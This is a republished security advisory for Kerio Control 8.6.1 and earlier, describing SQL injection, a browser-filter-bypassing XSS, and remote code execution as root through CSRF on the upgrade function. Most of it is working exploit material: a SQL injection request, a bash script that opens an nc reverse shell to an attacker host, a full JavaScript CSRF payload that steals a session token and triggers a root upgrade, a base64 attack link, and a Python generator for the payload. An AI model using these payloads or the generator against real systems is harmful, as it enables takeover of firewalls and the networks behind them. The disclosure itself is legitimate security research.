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Kerio Control 8.6.1 SQL Injection / Code Execution / CSRF

Kerio Control 8.6.1 SQL Injection / Code Execution / CSRF
Posted Oct 13, 2015
Authored by Raschin Tavakoli

Kerio Control versions 8.6.1 and below suffer from remote SQL injection and remote code execution through cross site request forgery vulnerabilities.

tags | exploit, remote, vulnerability, code execution, sql injection, csrf
SHA-256 | 5ade13cd16a1063aa69b48cb922256980ec682b6582c69ca0d6107b759ac4b36

Kerio Control 8.6.1 SQL Injection / Code Execution / CSRF

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IntelliSec Security Advisory

==============================================================================================

Title: Multiple Vulnerabilities in Kerio Control (Virtual Appliance)

Vulnerabilities: SQL Injection, Remote Code Execution through CSRF

Product: Kerio Control
Homepage: http://www.kerio.com
Affected Version: <= 8.6.1
Fixed Version: 8.6.2 (partially fixed)
Impact: critical
Date: 2015-10-12

Author: Raschin Tavakoli | IntelliSec Research
http://www.intellisec.at
research@intellisec.at

Links: https://youtu.be/EzTI2WlGHb4

===============================================================================================

Vendor description:
===================

Kerio Control is a unified threat management firewall developed by Kerio Technologies. It
features intrusion prevention, content filtering, activity reporting, bandwidth management,
and virtual private networking. Kerio Control runs Linux, providing network perimeter defense
for small to medium organizations.

Vulnerabilities
===============
1. XSS with Anti-XSS-Filter bypass (nonauth area)
2. SQL Injection (non-admin area)
3. Remote Code Execution (admin area)

By chaining the vulnerabilities together in combination with user interaction, an attacker may
gain full control over the firewall and the underlying network.


Attack Scenario
===============

The first attack could be to trick non-admin users to follow a malicious link in order to trigger
a CSRF exploit via the /nonauth/certificate.php script. The script may exploit the SQL Injection
flaw in reports.php for example.
Once able to query the database, sensitive data of the users can be transmitted back to the
attacker. Information of interest could be for example the traffic usage of admin users and their
top-visited webpages.

In the next attack, this information may be used to embed another CSRF exploit into one of
the top-visited webpages. If the attacker succeeds and the exploit gets triggered by a visiting
admin, arbitrary remote code execution will be gained.

===============================================================================================
1. SQL Injection:
===============================================================================================

Short Description:
==================

Kerio Control suffers from an SQL Injection flaw in the report.php script.

Detailed Description:
=====================

It is not necessary to use blind sql injection, as the output will be rendered into an image file.
As the text in the image file has a fixed size, multiple union selects can be combined to render out
multiple images containing the result text of the query.

In order to exploit the issue, a user has to be authenticated. For non-admin users, webreports
have to be enabled.

This issue is fixed in 8.6.2

Proof of Concept:
=================

GET /report.php?id=1'+OR+'1'%3d'1'%3b+-- HTTP/1.1
Host: testbox:4081
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:31.0) Gecko/20100101 Firefox/31.0 Iceweasel/31.8.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Cookie: SESSION_CONTROL_WEBIFACE=c0fa6c207d812da1fce3e2ff2bc2e609948988a041f5a23adb64064a42010e6b;
TOKEN_CONTROL_WEBIFACE

For example, to read out the admin's internal UUID number, the following union based sql injection
can be used:

https://testbox:4081/report.php?start=16703, 0, 0) UNION SELECT 'x', 'Admin UUID: ' ||
substring(cast( (select UUID from USER_LIST WHERE USERNAME='Admin') as varchar(256))
from 1 for 14), REQUESTS FROM GET_ALL_TOP_WEBS_D(16703, 1) UNION SELECT 'y', substring(cast(
(select UUID from USER_LIST WHERE USERNAME='Admin') as varchar(256)) from 15 for 40), '7'
FROM GET_ALL_TOP_WEBS_D(16703, 1);+--+&end=16703&id=0'+OR+USERNAME='Admin';+--+

=======================
2. Cross Site Scripting
=======================

The server parameter in the nonauth/certificate.php script suffers from an non persistent XSS
vulnerability. The payload needs to be base64 encoded and will be decoded at runtime. That way
it bypasses all Anti-XSS Filters of modern browsers, which increases the severity of this issue
significantly.

The issue has been tested with OS X Chrome Version 45.0.2454.101, OS X Safari Version 9.0
(10601.1.56.2), Linux Chromium Version 37.0.2062.120 and Linux Iceweasel 31.8.0

This issue is fixed in 8.6.2

===============================================================================================
3. Remote Command Execution via File Upload
===============================================================================================

Short Description:
==================

Kerio Control suffers from a RCE vulnerability in the upgrade function in the admin interface.
A malicious ssh script can be uploaded and executed with root privileges.

Detail:
=======

The upgrade feature in the admin interface can be used to upload arbitrary files by simply
changing a tar file to the extension .img. If a tar file is created which contains a upgrade.sh shell
script, this script will be executed with root privileges. Kerio did not provide a fix for the
upgrade functionality yet.

========================================
4. Remote Command Execution through CSRF
========================================

The Kerio admin interface does not provide a functionality to execute shell commands on the
underlying Linux system nor a possibility to enable ssh. SSH is disabled by default and can
only be enabled through the Kerio Console Application.

By combining the RCE with an CSRF attack, this vulnerability becomes a serious issue.


Proof of Concept:
=================

Create a Bash Script:
---------------------
# cat upgrade.sh
# #!/bin/bash
# nc 10.0.0.2 5555 -e /bin/bash &

# tar czf upgrade.tar.gz *
# mv upgrade.tar.gz upgrade.img

Open a netcat listener on the attacker's machine 10.0.0.2:
----------------------------------------------------------
# nc -lvp 5555

Generate Javascript Payload (File Upload and Execution):
--------------------------------------------------------
<script>
url='http://10.0.0.1:4081/admin';
_token="";
_file="";
_id = "";
function reqListener () {
obj = JSON.parse(this.responseText);
file = obj.result.fileUpload.name;
id = obj.result.fileUpload.id;
createIFrame(file, id);
}
function createIFrame(file, id) {
iframe=document.createElement("iframe");
iframe.src=url + "/constants.js.php";
iframe.style.display = "none";
iframe.sandbox="allow-scripts allow-same-origin";
iframe.onload=function() {
cookie = iframe.contentWindow.document.cookie;
var re = new RegExp(name + "=([^;]+)");
var value = re.exec(cookie);
var token=(value != null) ? unescape(value[1]) : null;
executeScript(file, id, token);
}
document.body.appendChild(iframe);
}
function executeScript(file, id, token) {
_file = file;
_id = id;
_token = token;
var xmlhttp=new XMLHttpRequest();xmlhttp.open("POST", url + "/api/jsonrpc/", true);
xmlhttp.setRequestHeader("X-Token", token);
xmlhttp.addEventListener("load", executeScript2);
xmlhttp.setRequestHeader("X-Requested-With", "XMLHttpRequest");
xmlhttp.setRequestHeader("Content-Type", "application/json;charset=UTF-8");
xmlhttp.send(JSON.stringify({"jsonrpc":"2.0","id":1,"method":"UpdateChecker.uploadImage","params":{"fileId": file}}));
}
function executeScript2(file, token) {
var xmlhttp=new XMLHttpRequest();xmlhttp.open("POST", url +"/api/jsonrpc/", true);
xmlhttp.setRequestHeader("X-Token", _token);
xmlhttp.setRequestHeader("X-Requested-With", "XMLHttpRequest");
xmlhttp.setRequestHeader("Content-Type", "application/json;charset=UTF-8");
xmlhttp.send(JSON.stringify({"jsonrpc":"2.0","id":1,"method":"UpdateChecker.performCustomUpgrade","params":{"id": _id }}));
}
var xhr = new XMLHttpRequest();
xhr.open("POST", url + "/api/jsonrpc/upload/", true);
xhr.addEventListener("load", reqListener);
xhr.setRequestHeader("Accept", "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8");
xhr.setRequestHeader("Accept-Language", "en-US,en;q=0.5");
xhr.setRequestHeader("Content-Type", "multipart/form-data; boundary=---------------------------1038495162429835808207612951");
xhr.withCredentials = true;
var body = "-----------------------------1038495162429835808207612951\r\n" +
"Content-Disposition: form-data; name=\"uploadImage\"; filename=\"upgrade.img\" \r\n" +
"Content-Type: application/octet-stream\r\n" +
"\r\n" +
"\x1f\x8b\x08\x00\xe0\x6e\x02\x56\x00\x03\xed\xce\xb1\x0e\x82\x30\x10\xc6\xf1\xce\x3c\xc5\x19\x13\x37\xe1\x8a\x2d\x3e\x4f\x51\x22\x2e\x60\x5a\x78\x7f\xab\x83\x24\x0e\x3a\x11\x63\xf2\xff\xdd\xf0\x25\xf7\xdd\x70\xf3\xed\x12\xc3\xb9\x2b\x53\x6f\x56\xa3\x59\xe3\xdc\x33\xb3\xf7\x54\xf5\xce\xd8\xba\x51\x75\xcd\xf1\xe0\xf2\xde\x5a\x9f\x43\x74\xbd\x97\x16\x73\x9a\x42\x14\x31\x71\x1c\xa7\x4f\x77\xdf\xfa\x3f\xb5\xdd\x54\xed\x75\xa8\xda\x90\xfa\x62\x38\x89\xd5\xf2\x31\xb5\xf8\x4c\xf6\x9d\xbc\x5a\xd9\x15\xbf\xfe\x15\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xb0\xb8\x03\x94\x67\x18\xfa\x00\x28\x00\x00\r\n" +
"-----------------------------1038495162429835808207612951--\r\n";
var aBody = new Uint8Array(body.length);
for (var i = 0; i < aBody.length; i++)
aBody[i] = body.charCodeAt(i);
xhr.send(new Blob([aBody]));
</script>

Base64 encode and craft malicous link:

https://testbox:4081/nonauth/certificate.php?server=PHNjcmlwdD4KdXJsPSdodHRwOi8vMTAuMC4wLjE6NDA4MS9hZG1pbic7Cl90b2tlbj0iIjsKX2Zp
bGU9IiI7Cl9pZCA9ICIiOwpmdW5jdGlvbiByZXFMaXN0ZW5lciAoKSB7CglvYmogPSBKU09OLnBh
cnNlKHRoaXMucmVzcG9uc2VUZXh0KTsKCWZpbGUgPSBvYmoucmVzdWx0LmZpbGVVcGxvYWQubmFt
ZTsKCWlkID0gb2JqLnJlc3VsdC5maWxlVXBsb2FkLmlkOwoJY3JlYXRlSUZyYW1lKGZpbGUsIGlk
KTsKfQpmdW5jdGlvbiBjcmVhdGVJRnJhbWUoZmlsZSwgaWQpIHsKCWlmcmFtZT1kb2N1bWVudC5j
cmVhdGVFbGVtZW50KCJpZnJhbWUiKTsKCWlmcmFtZS5zcmM9dXJsICsgIi9jb25zdGFudHMuanMu
cGhwIjsKCWlmcmFtZS5zdHlsZS5kaXNwbGF5ID0gIm5vbmUiOwoJaWZyYW1lLnNhbmRib3g9ImFs
bG93LXNjcmlwdHMgYWxsb3ctc2FtZS1vcmlnaW4iOwoJaWZyYW1lLm9ubG9hZD1mdW5jdGlvbigp
IHsKCQljb29raWUgPSBpZnJhbWUuY29udGVudFdpbmRvdy5kb2N1bWVudC5jb29raWU7CgkJdmFy
IHJlID0gbmV3IFJlZ0V4cChuYW1lICsgIj0oW147XSspIik7CgkJdmFyIHZhbHVlID0gcmUuZXhl
Yyhjb29raWUpOwoJCXZhciB0b2tlbj0odmFsdWUgIT0gbnVsbCkgPyB1bmVzY2FwZSh2YWx1ZVsx
XSkgOiBudWxsOwoJCWV4ZWN1dGVTY3JpcHQoZmlsZSwgaWQsIHRva2VuKTsKCX0KCWRvY3VtZW50
LmJvZHkuYXBwZW5kQ2hpbGQoaWZyYW1lKTsKfQpmdW5jdGlvbiBleGVjdXRlU2NyaXB0KGZpbGUs
IGlkLCB0b2tlbikgewoJX2ZpbGUgPSBmaWxlOwoJX2lkID0gaWQ7CglfdG9rZW4gPSB0b2tlbjsK
CXZhciB4bWxodHRwPW5ldyBYTUxIdHRwUmVxdWVzdCgpO3htbGh0dHAub3BlbigiUE9TVCIsIHVy
bCArICIvYXBpL2pzb25ycGMvIiwgdHJ1ZSk7Cgl4bWxodHRwLnNldFJlcXVlc3RIZWFkZXIoIlgt
VG9rZW4iLCB0b2tlbik7Cgl4bWxodHRwLmFkZEV2ZW50TGlzdGVuZXIoImxvYWQiLCBleGVjdXRl
U2NyaXB0Mik7Cgl4bWxodHRwLnNldFJlcXVlc3RIZWFkZXIoIlgtUmVxdWVzdGVkLVdpdGgiLCAi
WE1MSHR0cFJlcXVlc3QiKTsKCXhtbGh0dHAuc2V0UmVxdWVzdEhlYWRlcigiQ29udGVudC1UeXBl
IiwgImFwcGxpY2F0aW9uL2pzb247Y2hhcnNldD1VVEYtOCIpOwoJeG1saHR0cC5zZW5kKEpTT04u
c3RyaW5naWZ5KHsianNvbnJwYyI6IjIuMCIsImlkIjoxLCJtZXRob2QiOiJVcGRhdGVDaGVja2Vy
LnVwbG9hZEltYWdlIiwicGFyYW1zIjp7ImZpbGVJZCI6IGZpbGV9fSkpOwp9CmZ1bmN0aW9uIGV4
ZWN1dGVTY3JpcHQyKGZpbGUsIHRva2VuKSB7Cgl2YXIgeG1saHR0cD1uZXcgWE1MSHR0cFJlcXVl
c3QoKTt4bWxodHRwLm9wZW4oIlBPU1QiLCB1cmwgKyIvYXBpL2pzb25ycGMvIiwgdHJ1ZSk7Cgl4
bWxodHRwLnNldFJlcXVlc3RIZWFkZXIoIlgtVG9rZW4iLCBfdG9rZW4pOwoJeG1saHR0cC5zZXRS
ZXF1ZXN0SGVhZGVyKCJYLVJlcXVlc3RlZC1XaXRoIiwgIlhNTEh0dHBSZXF1ZXN0Iik7Cgl4bWxo
dHRwLnNldFJlcXVlc3RIZWFkZXIoIkNvbnRlbnQtVHlwZSIsICJhcHBsaWNhdGlvbi9qc29uO2No
YXJzZXQ9VVRGLTgiKTsKCXhtbGh0dHAuc2VuZChKU09OLnN0cmluZ2lmeSh7Impzb25ycGMiOiIy
LjAiLCJpZCI6MSwibWV0aG9kIjoiVXBkYXRlQ2hlY2tlci5wZXJmb3JtQ3VzdG9tVXBncmFkZSIs
InBhcmFtcyI6eyJpZCI6IF9pZCB9fSkpOwp9CnZhciB4aHIgPSBuZXcgWE1MSHR0cFJlcXVlc3Qo
KTsKeGhyLm9wZW4oIlBPU1QiLCB1cmwgKyAiL2FwaS9qc29ucnBjL3VwbG9hZC8iLCB0cnVlKTsK
eGhyLmFkZEV2ZW50TGlzdGVuZXIoImxvYWQiLCByZXFMaXN0ZW5lcik7Cnhoci5zZXRSZXF1ZXN0
SGVhZGVyKCJBY2NlcHQiLCAidGV4dC9odG1sLGFwcGxpY2F0aW9uL3hodG1sK3htbCxhcHBsaWNh
dGlvbi94bWw7cT0wLjksKi8qO3E9MC44Iik7Cnhoci5zZXRSZXF1ZXN0SGVhZGVyKCJBY2NlcHQt
TGFuZ3VhZ2UiLCAiZW4tVVMsZW47cT0wLjUiKTsKeGhyLnNldFJlcXVlc3RIZWFkZXIoIkNvbnRl
bnQtVHlwZSIsICJtdWx0aXBhcnQvZm9ybS1kYXRhOyBib3VuZGFyeT0tLS0tLS0tLS0tLS0tLS0t
LS0tLS0tLS0tLS0xMDM4NDk1MTYyNDI5ODM1ODA4MjA3NjEyOTUxIik7Cnhoci53aXRoQ3JlZGVu
dGlhbHMgPSB0cnVlOwp2YXIgYm9keSA9ICItLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLTEw
Mzg0OTUxNjI0Mjk4MzU4MDgyMDc2MTI5NTFcclxuIiArIAoiQ29udGVudC1EaXNwb3NpdGlvbjog
Zm9ybS1kYXRhOyBuYW1lPVwidXBsb2FkSW1hZ2VcIjsgZmlsZW5hbWU9XCJ1cGdyYWRlLmltZ1wi
IFxyXG4iICsgCiJDb250ZW50LVR5cGU6IGFwcGxpY2F0aW9uL29jdGV0LXN0cmVhbVxyXG4iICsg
CiJcclxuIiArIAoiXHgxZlx4OGJceDA4XHgwMFx4YWJceDZmXHgwMlx4NTZceDAwXHgwM1x4ZWRc
eGNlXHhiMVx4MGVceDgyXHg0MFx4MTBceDg0XHhlMVx4YWJceDc5XHg4YVx4MzVceDI2XHg3Nlx4
YzJceDFlXHhkZVx4MWRceGNmXHgwM1x4NGFceGM0XHgwNlx4Y2NceDFkXHhiY1x4M2ZceDY4XHgy
MVx4ODlceDg1XHg1Nlx4YzRceDk4XHhmY1x4ZGZceDE2XHg1M1x4Y2NceDE2XHgzM1x4ZGRceGFm
XHhiMVx4YmVceGI0XHg3OVx4ZWFceGNjXHg2Nlx4NzRceDExXHg5Y1x4N2JceGU2XHhlMlx4M2Rc
eDU1XHhiZFx4MzNceGI2XHgwY1x4YWFceDJlXHg1NFx4YzFceDlmXHg4Y1x4NWFceGViXHg1ZFx4
NjVceDQ0XHhiN1x4OWJceGI0XHg5YVx4ZDJceDU4XHg0N1x4MTFceDEzXHg4N1x4NjFceGZjXHhm
NFx4ZjdceGFkXHhmZlx4NTNceGZiXHg1ZFx4ZDFceGRjXHhmYVx4YTJceGE5XHg1M1x4OTdceGY1
XHg2N1x4YjFceDlhXHgzZlx4YWVceDE0XHhiZlx4OTBceDYzXHgyYlx4YWZceDU2XHgwZVx4ZDlc
eGFmXHhiN1x4MDJceDAwXHgwMFx4MDBceDAwXHgwMFx4MDBceDAwXHgwMFx4MDBceDAwXHgwMFx4
MDBceDAwXHg1Nlx4MzNceGNmXHhiMlx4M2JceDZjXHgwMFx4MjhceDAwXHgwMFxyXG4iICsgCiIt
LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLTEwMzg0OTUxNjI0Mjk4MzU4MDgyMDc2MTI5NTEt
LVxyXG4iOwp2YXIgYUJvZHkgPSBuZXcgVWludDhBcnJheShib2R5Lmxlbmd0aCk7CmZvciAodmFy
IGkgPSAwOyBpIDwgYUJvZHkubGVuZ3RoOyBpKyspCmFCb2R5W2ldID0gYm9keS5jaGFyQ29kZUF0
KGkpOyAKeGhyLnNlbmQobmV3IEJsb2IoW2FCb2R5XSkpOwo8L3NjcmlwdD4K


Python 3 payload generator
==========================
For easier testing, we developed a small python script that can be used to
generate the payload:

#!/usr/bin/python

# ====================================================================== #
# Title: Remote Command Execution through CSRF - Payload Generator #
# Author: Raschin Tavakoli - IntelliSec GmbH #
# Date: 12.10.2015 #
# #
# Description: #
# This python3 script generates the payload to exploit the RCE via CSRF #
# vulnerability in the Kerio Control Virtual Appliance. #
# #
# First a shell script will be packed as an Kerio upgrade.img file. Then #
# a Javascript will be generated which uploads the file via the Kerio #
# upgrade function. The payload will then be base64 encoded and can be #
# injected into the server parameter of the #
# nonauth/certificate.php script (). #
# #
# Example Usage: #
# csrf-gen-payload.py -t https://10.0.0.8:4081/admin -l 10.0.0.7 -p 5555 #
# ====================================================================== #

import os
import shutil
import base64
import argparse
import subprocess
from optparse import OptionParser
import codecs
import sys

tmpdir = "/tmp/kerio_upgrade"

def usage():
print ("\nUsage: csrf-gen-payload -f <file> -t <target-url> \n")
print("Example: csrf-gen-payload.py -f upgrade.sh -t https://10.0.0.8:4081/admin \n")
exit()

def main():

parser = OptionParser()
parser.add_option("-f", "--file", dest="file",
help="the bash file for remote execution", metavar="TARGET")
parser.add_option("-t", "--target", dest="target_url",
help="specify the target url", metavar="TARGET")

(options, args) = parser.parse_args()

file = options.file
target_url = options.target_url

if not target_url or not file:
usage()

# ====================================================================== #
# Create upgrade.img file #
# ====================================================================== #
orgdir = os.path.dirname(os.path.realpath(__file__))

try:
if os.path.exists(tmpdir):
shutil.rmtree(tmpdir)
except:
print("Cannot clean " + tmpdir)

os.mkdir(tmpdir)

shutil.copy(file, tmpdir + os.path.sep + "upgrade.sh")
os.chdir(tmpdir)
os.system("tar czf upgrade.tar.gz *")
src = os.path.join(tmpdir, "upgrade.tar.gz")
dst = os.path.join(tmpdir, "upgrade.img")
os.rename(src, dst)

f = open('upgrade.img', 'rb',)
bin_data = f.read()
f.close()

hexdata = "".join("\\x{:02x}".format(c) for c in bin_data)

# ====================================================================== #
# Generate Javascript Payload #
# ====================================================================== #
script = ('<script>\n' +
'url=\'' + target_url +
'\';\n' +
'_token="";\n' +
'_file="";\n' +
'_id = "";\n' +
'function reqListener () {\n' +
'\tobj = JSON.parse(this.responseText);\n' +
'\tfile = obj.result.fileUpload.name;\n' +
'\tid = obj.result.fileUpload.id;\n' +
'\tcreateIFrame(file, id);\n' +
'}\n' +
'function createIFrame(file, id) {\n' +
'\tiframe=document.createElement("iframe");\n' +
'\tiframe.src=url + "/constants.js.php";\n' +
'\tiframe.style.display = "none";\n' +
'\tiframe.sandbox="allow-scripts allow-same-origin";\n' +
'\tiframe.onload=function() {\n' +
'\t\tcookie = iframe.contentWindow.document.cookie;\n' +
'\t\tvar re = new RegExp(name + "=([^;]+)");\n' +
'\t\tvar value = re.exec(cookie);\n' +
'\t\tvar token=(value != null) ? unescape(value[1]) : null;\n' +
'\t\texecuteScript(file, id, token);\n' +
'\t}\n' +
'\tdocument.body.appendChild(iframe);\n' +
'}\n' +
'function executeScript(file, id, token) {\n' +
'\t_file = file;\n' +
'\t_id = id;\n' +
'\t_token = token;\n' +
'\tvar xmlhttp=new XMLHttpRequest();xmlhttp.open("POST", url + "/api/jsonrpc/", true);\n' +
'\txmlhttp.setRequestHeader("X-Token", token);\n' +
'\txmlhttp.addEventListener("load", executeScript2);\n' +
'\txmlhttp.setRequestHeader("X-Requested-With", "XMLHttpRequest");\n' +
'\txmlhttp.setRequestHeader("Content-Type", "application/json;charset=UTF-8");\n' +
'\txmlhttp.send(JSON.stringify({"jsonrpc":"2.0","id":1,"method":"UpdateChecker.uploadImage","params":{"fileId": file}}));\n' +
'}\n' +
'function executeScript2(file, token) {\n' +
'\tvar xmlhttp=new XMLHttpRequest();xmlhttp.open("POST", url +"/api/jsonrpc/", true);\n' +
'\txmlhttp.setRequestHeader("X-Token", _token);\n' +
'\txmlhttp.setRequestHeader("X-Requested-With", "XMLHttpRequest");\n' +
'\txmlhttp.setRequestHeader("Content-Type", "application/json;charset=UTF-8");\n' +
'\txmlhttp.send(JSON.stringify({"jsonrpc":"2.0","id":1,"method":"UpdateChecker.performCustomUpgrade","params":{"id": _id }}));\n' +
'}\n' +
'var xhr = new XMLHttpRequest();\n' +
'xhr.open("POST", url + "/api/jsonrpc/upload/", true);\n' +
'xhr.addEventListener("load", reqListener);\n' +
'xhr.setRequestHeader("Accept", "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8");\n' +
'xhr.setRequestHeader("Accept-Language", "en-US,en;q=0.5");\n' +
'xhr.setRequestHeader("Content-Type", "multipart/form-data; boundary=---------------------------1038495162429835808207612951");\n' +
'xhr.withCredentials = true;\n' +
'var body = "-----------------------------1038495162429835808207612951\\r\\n" + \n' +
'"Content-Disposition: form-data; name=\\"uploadImage\\"; filename=\\"upgrade.img\\" \\r\\n" + \n' +
'"Content-Type: application/octet-stream\\r\\n" + \n' +
'"\\r\\n" + \n' +

'"' + hexdata + '\\r\\n" + \n' +

'"-----------------------------1038495162429835808207612951--\\r\\n";\n' +
'var aBody = new Uint8Array(body.length);\n' +
'for (var i = 0; i < aBody.length; i++)\n' +
'aBody[i] = body.charCodeAt(i); \n' +
'xhr.send(new Blob([aBody]));\n' +
'</script>')

print(script)

os.chdir(orgdir)
shutil.rmtree(tmpdir)

if __name__ == '__main__':
main()




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